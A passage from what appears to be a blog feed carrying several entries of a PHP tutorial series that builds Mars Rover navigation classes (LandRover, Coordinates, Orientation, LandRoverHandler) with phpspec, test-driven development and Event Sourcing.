<pre><code>cd packages/navigation
git checkout 2-landing
</code></pre>

<h2 id="landroverhandler">LandRoverHandler</h2>

<p>Following our <a href="/2016/06/29/mars-rover-landing.html#twisting-command-bus">Command Bus twist</a>,
we're now going to create the <code>LandRoverHandler</code> class that's going to take
care of the actual logic associated to the <code>LandRover</code> use case. We're starting
by bootstraping the test class:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Navigation\LandRoverHandler'
</code></pre>

<p>this should create the following
<code>spec/MarsRover/Navigation/LandRoverHandlerSpec.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\LandRoverHandler;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class LandRoverHandlerSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(LandRoverHandler::class);
    }
}
</code></pre>

<p><a href="/2016/06/15/mars-rover-introduction.html#event-sourcing">Event Sourcing</a> is
all about recording significant actions. Landing a rover seems significant
enough, so that's what <code>LandRoverHandler</code> should do:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\AnEventHappened;
use MarsRover\Navigation\Event;
use MarsRover\Navigation\EventStore;
use MarsRover\Navigation\LandRover;
use MarsRover\Navigation\Orientation;
use PhpSpec\ObjectBehavior;

class LandRoverHandlerSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = Orientation::NORTH;

    const EVENT_NAME = 'rover_landed';
    const EVENT_DATA = [
        'x' =&gt; self::X,
        'y' =&gt; self::Y,
        'orientation' =&gt; self::ORIENTATION,
    ];

    function it_lands_a_rover_at_given_location(
        AnEventHappened $anEventHappened,
        Event $roverLanded,
        EventStore $eventStore
    ) {
        $this-&gt;beConstructedWith($anEventHappened, $eventStore);
        $landRover = new LandRover(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $anEventHappened-&gt;justNow(
            self::EVENT_NAME,
            self::EVENT_DATA
        )-&gt;willReturn($roverLanded);
        $eventStore-&gt;log($roverLanded)-&gt;shouldBeCalled();

        $this-&gt;handle($landRover);
    }
}
</code></pre>

<p>In this test, we rely on:</p>

<ul>
<li><code>Event</code>, a Data Transfer Object (DTO) that contains the name and the data</li>
<li><code>AnEventHappened</code>, which is actually an <code>Event</code> factory</li>
<li><code>EventStore</code>, a service responsible for "logging" <code>Event</code>s</li>
</ul>

<p>We could have done without the factory and create directly <code>Event</code> in
<code>LandRoverHandler</code>, but then we'd have no way to check in our tests that it
was constructed with the right data.</p>

<p>Those classes don't exist yet, we've made them up to build a coherent
<strong>story</strong>. Let's run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>They fail because of the missing classes... But phpspec bootstrapped them for
us!</p>

<p>It created the <code>src/MarsRover/Navigation/AnEventHappened.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

interface AnEventHappened
{

    public function justNow($argument1, $argument2);
}
</code></pre>

<p>It also created the <code>src/MarsRover/Navigation/Event.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

interface Event
{
}
</code></pre>

<p>And it created the <code>src/MarsRover/Navigation/EventStore.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

interface EventStore
{

    public function log($argument1);
}
</code></pre>

<p>As we can see, when we reference a non existence class, phpspec generates an
interface for us. It also generates methods, if we've described method calls
in our test.</p>

<p>For now we'll leave them like this, and have a look at the generated
<code>src/MarsRover/Navigation/LandRoverHandler.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRoverHandler
{
    private $anEventHappened;

    private $eventStore;

    public function __construct(AnEventHappened $anEventHappened, EventStore $eventStore)
    {
        $this-&gt;anEventHappened = $anEventHappened;
        $this-&gt;eventStore = $eventStore;
    }

    public function handle(LandRover $landRover)
    {
    }
}
</code></pre>

<p>Thanks to the <a href="https://github.com/memio/spec-gen">SpecGen extension</a>, phpspec
was able to detect Dependency Injection, and bootstrapped a constructor with
an attribute initialization for us. How nice!</p>

<p>We'll just need to complete the <code>handle</code> method:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRoverHandler
{
    const EVENT_NAME = 'rover_landed';

    private $anEventHappened;
    private $eventStore;

    public function __construct(
        AnEventHappened $anEventHappened,
        EventStore $eventStore
    ) {
        $this-&gt;anEventHappened = $anEventHappened;
        $this-&gt;eventStore = $eventStore;
    }

    public function handle(LandRover $landRover)
    {
        $roverLanded = $this-&gt;anEventHappened-&gt;justNow(self::EVENT_NAME, [
            'x' =&gt; $landRover-&gt;getCoordinates()-&gt;getX(),
            'y' =&gt; $landRover-&gt;getCoordinates()-&gt;getY(),
            'orientation' =&gt; $landRover-&gt;getOrientation()-&gt;get(),
        ]);
        $this-&gt;eventStore-&gt;log($roverLanded);
    }
}
</code></pre>

<p>Overall, the code looks very similar to the test. Let's run them:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We might want to use the same event name in both the code and the
test, so let's create a <code>src/MarsRover/Navigation/Events.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Events
{
    const ROVER_LANDED = 'rover_landed';
}
</code></pre>

<p>Then use it in the code:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRoverHandler
{
    private $anEventHappened;
    private $eventStore;

    public function __construct(
        AnEventHappened $anEventHappened,
        EventStore $eventStore
    ) {
        $this-&gt;anEventHappened = $anEventHappened;
        $this-&gt;eventStore = $eventStore;
    }

    public function handle(LandRover $landRover)
    {
        $roverLanded = $this-&gt;anEventHappened-&gt;justNow(Events::ROVER_LANDED, [
            'x' =&gt; $landRover-&gt;getCoordinates()-&gt;getX(),
            'y' =&gt; $landRover-&gt;getCoordinates()-&gt;getY(),
            'orientation' =&gt; $landRover-&gt;getOrientation()-&gt;get(),
        ]);
        $this-&gt;eventStore-&gt;log($roverLanded);
    }
}
</code></pre>

<p>and finally in the test:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\AnEventHappened;
use MarsRover\Navigation\Event;
use MarsRover\Navigation\Events;
use MarsRover\Navigation\EventStore;
use MarsRover\Navigation\LandRover;
use MarsRover\Navigation\Orientation;
use PhpSpec\ObjectBehavior;

class LandRoverHandlerSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = Orientation::NORTH;

    const EVENT_NAME = Events::ROVER_LANDED;
    const EVENT_DATA = [
        'x' =&gt; self::X,
        'y' =&gt; self::Y,
        'orientation' =&gt; self::ORIENTATION,
    ];

    function it_lands_a_rover_at_given_location(
        AnEventHappened $anEventHappened,
        Event $roverLanded,
        EventStore $eventStore
    ) {
        $this-&gt;beConstructedWith($anEventHappened, $eventStore);
        $landRover = new LandRover(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $anEventHappened-&gt;justNow(
            self::EVENT_NAME,
            self::EVENT_DATA
        )-&gt;willReturn($roverLanded);
        $eventStore-&gt;log($roverLanded)-&gt;shouldBeCalled();

        $this-&gt;handle($landRover);
    }
}
</code></pre>

<p>We can run the tests one last time:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>Still green! We can commit our work:</p>

<pre><code>git add -A
git commit -m '2: Created LandRoverHandler'
git checkout master
git merge --no-ff 2-landing
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>With Event Sourcing, the logic associated to our "Landing a Rover on Mars" use
case is quite simple: we just record it as an event.</p>

<h2 id="what%27s-next%3F">What's next?</h2>

<p>In the next article, we'll extract Event Sourcing logic from the <code>navigation</code>
package and put it in its own <code>event-sourcing</code> one.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Landing orientation]]></title>
            <link href="/2016/07/13/mars-rover-landing-orientation.html"/>
            <updated>2016-07-13T00:00:00+01:00</updated>
            <id>/2016/07/13/mars-rover-landing-orientation.html</id>
            <content type="html"><![CDATA[<p>In this series we're going to build the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It will allow us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>Previously we've created a
<a href="/2016/06/22/mars-rover-initialization.html">navigation package</a>, and in it
a <code>LandRover</code> class that
<a href="/2016/06/29/mars-rover-landing.html">validates input parameters</a> for our
first use case:</p>

<blockquote>
  <p>Mars Rovers need first to be landed at a given position. A position is
  composed of coordinates (<code>x</code> and <code>y</code>, which are both integers) and an
  orientation (a string being one of <code>north</code>, <code>east</code>, <code>west</code> or <code>south</code>).</p>
</blockquote>

<p>We've also started to refactor it by
<a href="/2016/07/06/mars-rover-landing-coordinates.html">extracting coordinates in their own class</a>.</p>

<p>In this article we're going to further refactor <code>LandRover</code>:</p>

<pre><code>cd packages/navigation
git checkout 2-landing
</code></pre>

<h2 id="responsibilities">Responsibilities</h2>

<p>By having a look at <code>LandRover</code>, we can guess that it has 2 reasons to change:</p>

<ul>
<li>coordinates <code>x</code> and <code>y</code> might become floats, or have an additional <code>z</code></li>
<li>orientation might become an angular degree, or have a vertical orientation</li>
</ul>

<p>This hints toward two new classes, extracted from <code>LandRover</code>: <code>Coordinates</code>
and <code>Orientation</code>. In this article we'll take care of <code>Orientation</code>.</p>

<h2 id="orientation">Orientation</h2>

<p>Let's start by bootstraping <code>Orientation</code> test class using
<a href="http://www.phpspec.net/en/stable/">phpspec</a>:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Navigation\Orientation'
</code></pre>

<p>It should create the <code>spec/MarsRover/Navigation/OrientationSpec.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Orientation;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class OrientationSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(self::class);
    }
}
</code></pre>

<p>Instead of reusing tests from <code>LandRover</code>, we'll try to describe all the
possible orientations:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use PhpSpec\ObjectBehavior;

class OrientationSpec extends ObjectBehavior
{
    const NORTH = 'north';
    const EAST = 'east';
    const WEST = 'west';
    const SOUTH = 'south';

    function it_can_face_north()
    {
        $this-&gt;beConstructedWith(self::NORTH);

        $this-&gt;get()-&gt;shouldBe(self::NORTH);
    }

    function it_can_face_east()
    {
        $this-&gt;beConstructedWith(self::EAST);

        $this-&gt;get()-&gt;shouldBe(self::EAST);
    }

    function it_can_face_west()
    {
        $this-&gt;beConstructedWith(self::WEST);

        $this-&gt;get()-&gt;shouldBe(self::WEST);
    }

    function it_can_face_south()
    {
        $this-&gt;beConstructedWith(self::SOUTH);

        $this-&gt;get()-&gt;shouldBe(self::SOUTH);
    }

    function it_cannot_face_anywhere_else()
    {
        $this-&gt;beConstructedWith('Somehwere else');

        $this
            -&gt;shouldThrow(\InvalidArgumentException::class)
            -&gt;duringInstantiation()
        ;
    }
}
</code></pre>

<p>Now we can run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>They fail because <code>src/MarsRover/Navigation/Orientation.php</code> doesn't exist,
so phpspec bootstrapped it for us:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Orientation
{
    private $argument;

    public function __construct($argument)
    {
        $this-&gt;argument = $argument;
    }

    public function get()
    {
    }
}
</code></pre>

<p>We can edit it:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Orientation
{
    const NORTH = 'north';
    const EAST = 'east';
    const WEST = 'west';
    const SOUTH = 'south';

    const ALLOWED_ORIENTATIONS = [
        self::NORTH,
        self::EAST,
        self::WEST,
        self::SOUTH,
    ];

    private $orientation;

    public function __construct($orientation)
    {
        if (false === in_array($orientation, self::ALLOWED_ORIENTATIONS, true)) {
            throw new \InvalidArgumentException(
                'Orientation must be one of: '
                .implode(', ', self::ALLOWED_ORIENTATIONS)
            );
        }
        $this-&gt;orientation = $orientation;
    }

    public function get() : string
    {
        return $this-&gt;orientation;
    }
}
</code></pre>

<p>And run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! It's important to note that tests should also be refactored.
We're going to use <code>Orientation</code> constants in the tests:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Orientation;
use PhpSpec\ObjectBehavior;

class OrientationSpec extends ObjectBehavior
{
    function it_can_face_north()
    {
        $this-&gt;beConstructedWith(Orientation::NORTH);

        $this-&gt;get()-&gt;shouldBe(Orientation::NORTH);
    }

    function it_can_face_east()
    {
        $this-&gt;beConstructedWith(Orientation::EAST);

        $this-&gt;get()-&gt;shouldBe(Orientation::EAST);
    }

    function it_can_face_west()
    {
        $this-&gt;beConstructedWith(Orientation::WEST);

        $this-&gt;get()-&gt;shouldBe(Orientation::WEST);
    }

    function it_can_face_south()
    {
        $this-&gt;beConstructedWith(Orientation::SOUTH);

        $this-&gt;get()-&gt;shouldBe(Orientation::SOUTH);
    }

    function it_cannot_face_anywhere_else()
    {
        $this-&gt;beConstructedWith('Somehwere else');

        $this
            -&gt;shouldThrow(\InvalidArgumentException::class)
            -&gt;duringInstantiation()
        ;
    }
}
</code></pre>

<p>Running the tests again:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>Still green! We can now update <code>LandRover</code> tests to use <code>Orientation</code>:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Orientation;
use PhpSpec\ObjectBehavior;

class LandRoverSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = Orientation::NORTH;

    function it_has_coordinates()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $coordinates = $this-&gt;getCoordinates();
        $coordinates-&gt;getX()-&gt;shouldBe(self::X);
        $coordinates-&gt;getY()-&gt;shouldBe(self::Y);
    }

    function it_has_an_orientation()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;getOrientation()-&gt;get()-&gt;shouldBe(self::ORIENTATION);
    }
}
</code></pre>

<p>We've removed orientation checking from <code>LandRover</code> tests, as we now trust
<code>Orientation</code> to do the job. Now We can use <code>Orientation</code> in <code>LandRover</code>:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRover
{
    private $coordinates;
    private $orientation;

    public function __construct($x, $y, $orientation)
    {
        $this-&gt;coordinates = new Coordinates($x, $y);
        $this-&gt;orientation = new Orientation($orientation);
    }

    public function getCoordinates() : Coordinates
    {
        return $this-&gt;coordinates;
    }

    public function getOrientation() : Orientation
    {
        return $this-&gt;orientation;
    }
}
</code></pre>

<p>Let's run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! We can now commit our work:</p>

<pre><code>git add -A
git commit -m '2: Created Orientation'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Once again we've completed the full TDD cycle: first test, then code and
finally refactor.</p>

<p>Before we started to extract <code>Coordinates</code> and <code>Orientation</code>, <code>LandRover</code> tests
were starting to get long and so we didn't bother to go too much into details.
This refactoring allowed us to get more confidence and add more testing cases.</p>

<p>phpspec has been really helpful by boostraping tests, and then when running the
tests by bootstraping code: it makes the whole TDD cycle more natural. But
it also allows us to have runnable self-checking specifications:</p>

<pre><code>vendor/bin/phpspec run --format=pretty
</code></pre>

<p>This should now output:</p>

<pre><code><br />      MarsRover\Navigation\Coordinates

  12  ✔ has x coordinate
  22  ✔ cannot have non integer x coordinate
  34  ✔ has y coordinate
  44  ✔ cannot have non integer y coordinate

      MarsRover\Navigation\LandRover

  14  ✔ has coordinates
  27  ✔ has an orientation

      MarsRover\Navigation\Orientation

  10  ✔ can face north
  17  ✔ can face east
  24  ✔ can face west
  31  ✔ can face south
  38  ✔ cannot face anywhere else


3 specs
11 examples (11 passed)
12ms
</code></pre>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article we'll create the actual landing logic, using Event Sourcing.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Landing coordinates]]></title>
            <link href="/2016/07/06/mars-rover-landing-coordinates.html"/>
            <updated>2016-07-06T00:00:00+01:00</updated>
            <id>/2016/07/06/mars-rover-landing-coordinates.html</id>
            <content type="html"><![CDATA[<p>In this series we're going to build the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It will allow us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>Previously we've created a
<a href="/2016/06/22/mars-rover-initialization.html">navigation package</a>, and in it
a <code>LandRover</code> class that
<a href="/2016/06/29/mars-rover-landing.html">validates input parameters</a> for our
first use case:</p>

<blockquote>
  <p>Mars Rovers need first to be landed at a given position. A position is
  composed of coordinates (<code>x</code> and <code>y</code>, which are both integers) and an
  orientation (a string being one of <code>north</code>, <code>east</code>, <code>west</code> or <code>south</code>).</p>
</blockquote>

<p>In this article we're going to refactor <code>LandRover</code>:</p>

<pre><code>cd packages/navigation
git checkout 2-landing
</code></pre>

<h2 id="responsibilities">Responsibilities</h2>

<p>By having a look at <code>LandRover</code>, we can guess that it has 2 reasons to change:</p>

<ul>
<li>coordinates <code>x</code> and <code>y</code> might become floats, or have an additional <code>z</code></li>
<li>orientation might become an angular degree, or have a vertical orientation</li>
</ul>

<p>This hints toward two new classes, extracted from <code>LandRover</code>: <code>Coordinates</code>
and <code>Orientation</code>. In this article we'll take care of <code>Coordinates</code>.</p>

<h2 id="coordinates">Coordinates</h2>

<p>First let's bootstrap the test class, using
<a href="http://www.phpspec.net/en/stable/">phpspec</a>:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Navigation\Coordinates'
</code></pre>

<p>This will create the <code>spec/MarsRover/Navigation/CoordinatesSpec.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\Coordinates;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class CoordinatesSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(Coordinates::class);
    }
}
</code></pre>

<p>We can edit it, by using what we've done in <code>LandRover</code> test class:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use PhpSpec\ObjectBehavior;

class CoordinatesSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;

    function it_has_x_coordinate()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y
        );

        $this-&gt;getX()-&gt;shouldBe(self::X);
    }

    function it_cannot_have_non_integer_x_coordinate()
    {
        $this-&gt;beConstructedWith(
            'Nobody expects the Spanish Inquisition!',
            self::Y
        );

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }

    function it_has_y_coordinate()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y
        );

        $this-&gt;getY()-&gt;shouldBe(self::Y);
    }

    function it_cannot_have_non_integer_y_coordinate()
    {
        $this-&gt;beConstructedWith(
            self::X,
            'No one expects the Spanish Inquisition!'
        );

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }
}
</code></pre>

<p>If we run the tests now, it will bootsrap the <code>Coordinates</code> class:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>And it indeed created the <code>src/MarsRover/Navigation/Coordinates.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Coordinates
{
    private $argument1;

    private $argument2;

    public function __construct($argument1, $argument2)
    {
        $this-&gt;argument1 = $argument1;
        $this-&gt;argument2 = $argument2;
    }

    public function getX()
    {
    }

    public function getY()
    {
    }
}
</code></pre>

<p>This leaves us with the task of completing it, reusing what's been done in
<code>LandRover</code> class:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class Coordinates
{
    private $x;
    private $y;

    public function __construct($x, $y)
    {
        if (false === is_int($x)) {
            throw new \InvalidArgumentException(
                'X coordinate must be an integer'
            );
        }
        $this-&gt;x = $x;
        if (false === is_int($y)) {
            throw new \InvalidArgumentException(
                'Y coordinate must be an integer'
            );
        }
        $this-&gt;y = $y;
    }

    public function getX() : int
    {
        return $this-&gt;x;
    }

    public function getY() : int
    {
        return $this-&gt;y;
    }
}
</code></pre>

<p>We can run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! Now all we have to do is update <code>LandRover</code> test class to use
<code>Coordinates</code>:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use PhpSpec\ObjectBehavior;

class LandRoverSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = 'north';

    function it_has_coordinates()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $coordinates = $this-&gt;getCoordinates();
        $coordinates-&gt;getX()-&gt;shouldBe(self::X);
        $coordinates-&gt;getY()-&gt;shouldBe(self::Y);
    }

    function it_has_an_orientation()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;getOrientation()-&gt;shouldBe(self::ORIENTATION);
    }

    function it_cannot_have_a_non_cardinal_orientation()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            'A hareng!'
        );

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }
}
</code></pre>

<p>We no longer need to check for invalid <code>x</code> and <code>y</code> values, as we trust
<code>Coordinates</code> to take care of them for us. We can now update <code>LandRover</code> class:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRover
{
    const VALID_ORIENTATIONS = ['north', 'east', 'west', 'south'];

    private $coordinates;
    private $orientation;

    public function __construct($x, $y, $orientation)
    {
        $this-&gt;coordinates = new Coordinates($x, $y);
        if (false === in_array($orientation, self::VALID_ORIENTATIONS, true)) {
            throw new \InvalidArgumentException(
                'Orientation must be one of: '
                .implode(', ', self::VALID_ORIENTATIONS)
            );
        }
        $this-&gt;orientation = $orientation;
    }

    public function getCoordinates() : Coordinates
    {
        return $this-&gt;coordinates;
    }

    public function getOrientation() : string
    {
        return $this-&gt;orientation;
    }
}
</code></pre>

<p>And that should make our test pass:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! That's enough for us to commit our work:</p>

<pre><code>git add -A
git commit -m '2: Created Coordinates'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We've followed the full cycle of TDD: test, code and refactor. Using phpspec
has been really helpful as it bootstraped the test classes and then their code
classes for us.</p>

<h2 id="what%27s-next">What's next</h2>

<p>In the next article, we'll extract <code>Orientation</code> from <code>LandRover</code>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Landing]]></title>
            <link href="/2016/06/29/mars-rover-landing.html"/>
            <updated>2016-06-29T00:00:00+01:00</updated>
            <id>/2016/06/29/mars-rover-landing.html</id>
            <content type="html"><![CDATA[<p>In this series we're going to build the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It will allow us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>Previously we've created a
<a href="/2016/06/22/mars-rover-initialization.html">navigation package</a>, we can now
start developing the first use case:</p>

<blockquote>
  <p>Mars Rovers need first to be landed at a given position. A position is
  composed of coordinates (<code>x</code> and <code>y</code>, which are both integers) and an
  orientation (a string being one of <code>north</code>, <code>east</code>, <code>west</code> or <code>south</code>).</p>
</blockquote>

<h2 id="twisting-command-bus">Twisting Command Bus</h2>

<p>The <a href="/2016/05/11/towards-cqrs-command-bus.md">Command Bus design pattern</a>
is composed of 3 classes:</p>

<ul>
<li>a <code>Command</code> class which validates use case input and with a name that
communicates imperative intention (e.g. <code>LandRover</code>)</li>
<li>associated to it (one to one relationship) is the <code>CommandHandler</code>,
which does the actual logic for the use case</li>
<li>a <code>CommandBus</code> that takes a <code>Command</code> and executes the appropriate
<code>CommandHandler</code>, and that allows for middlewares</li>
</ul>

<p>We're going to twist this design pattern for the Mars Rover by omiting the
<code>CommandBus</code> class, as we don't really need middlewares or to find the
appropriate <code>CommandHandler</code> for a given <code>Command</code>.</p>

<p>Let's start by creating the <code>Command</code> class that'll take care of the input
parameter validation:</p>

<pre><code>cd packages/navigation
git checkout -b 2-landing
</code></pre>

<h2 id="land-rover">Land Rover</h2>

<p>We're going to bootstrap the test class for <code>LandRover</code>, using
<a href="http://www.phpspec.net/en/stable/">phpspec</a>:</p>

<pre><code>vendor/bin/phpspec describe 'MarsRover\Navigation\LandRover'
</code></pre>

<p>This should generate this <code>spec/MarsRover/Navigation/LandRoverSpec.php</code> class:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Navigation\LandRover;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class LandRoverSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType(LandRover::class);
    }
}
</code></pre>

<p>This leaves us the task of editing it to start describing input parameters:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use PhpSpec\ObjectBehavior;

class LandRoverSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = 'north';

    function it_has_x_coordinate()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;getX()-&gt;shouldBe(self::X);
    }

    function it_has_y_coordinate()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;getY()-&gt;shouldBe(self::Y);
    }

    function it_has_an_orientation()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;getOrientation()-&gt;shouldBe(self::ORIENTATION);
    }
}
</code></pre>

<p>We can now run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>This will generate the <code>src/MarsRover/Navigation/LandRover.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRover
{
    private $argument1;

    private $argument2;

    private $argument3;

    public function __construct($argument1, $argument2, $argument3)
    {
        $this-&gt;argument1 = $argument1;
        $this-&gt;argument2 = $argument2;
        $this-&gt;argument3 = $argument3;
    }

    public function getX()
    {
    }

    public function getY()
    {
    }

    public function getOrientation()
    {
    }
}
</code></pre>

<p>All we need to do is to edit it:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRover
{
    private $x;
    private $y;
    private $orientation;

    public function __construct($x, $y, $orientation)
    {
        $this-&gt;x = $x;
        $this-&gt;y = $y;
        $this-&gt;orientation = $orientation;
    }

    public function getX() : int
    {
        return $this-&gt;x;
    }

    public function getY() : int
    {
        return $this-&gt;y;
    }

    public function getOrientation() : string
    {
        return $this-&gt;orientation;
    }
}
</code></pre>

<p>Let's run the tests again:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! But our job isn't finished yet, we haven't described invalid input
parameters:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use PhpSpec\ObjectBehavior;

class LandRoverSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = 'north';

    function it_has_x_coordinate()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;getX()-&gt;shouldBe(self::X);
    }

    function it_cannot_have_non_integer_x_coordinate()
    {
        $this-&gt;beConstructedWith(
            'Nobody expects the Spanish Inquisition!',
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }

    function it_has_y_coordinate()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;getY()-&gt;shouldBe(self::Y);
    }

    function it_cannot_have_non_integer_y_coordinate()
    {
        $this-&gt;beConstructedWith(
            self::X,
            'No one expects the Spanish Inquisition!',
            self::ORIENTATION
        );

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }

    function it_has_an_orientation()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $this-&gt;getOrientation()-&gt;shouldBe(self::ORIENTATION);
    }

    function it_cannot_have_a_non_cardinal_orientation()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            'A hareng!'
        );

        $this-&gt;shouldThrow(
            \InvalidArgumentException::class
        )-&gt;duringInstantiation();
    }
}
</code></pre>

<p>Running the tests again:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>They fail, because we need to check input parameters:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

class LandRover
{
    const VALID_ORIENTATIONS = ['north', 'east', 'west', 'south'];

    private $x;
    private $y;
    private $orientation;

    public function __construct($x, $y, $orientation)
    {
        if (false === is_int($x)) {
            throw new \InvalidArgumentException(
                'X coordinate must be an integer'
            );
        }
        $this-&gt;x = $x;
        if (false === is_int($y)) {
            throw new \InvalidArgumentException(
                'Y coordinate must be an integer'
            );
        }
        $this-&gt;y = $y;
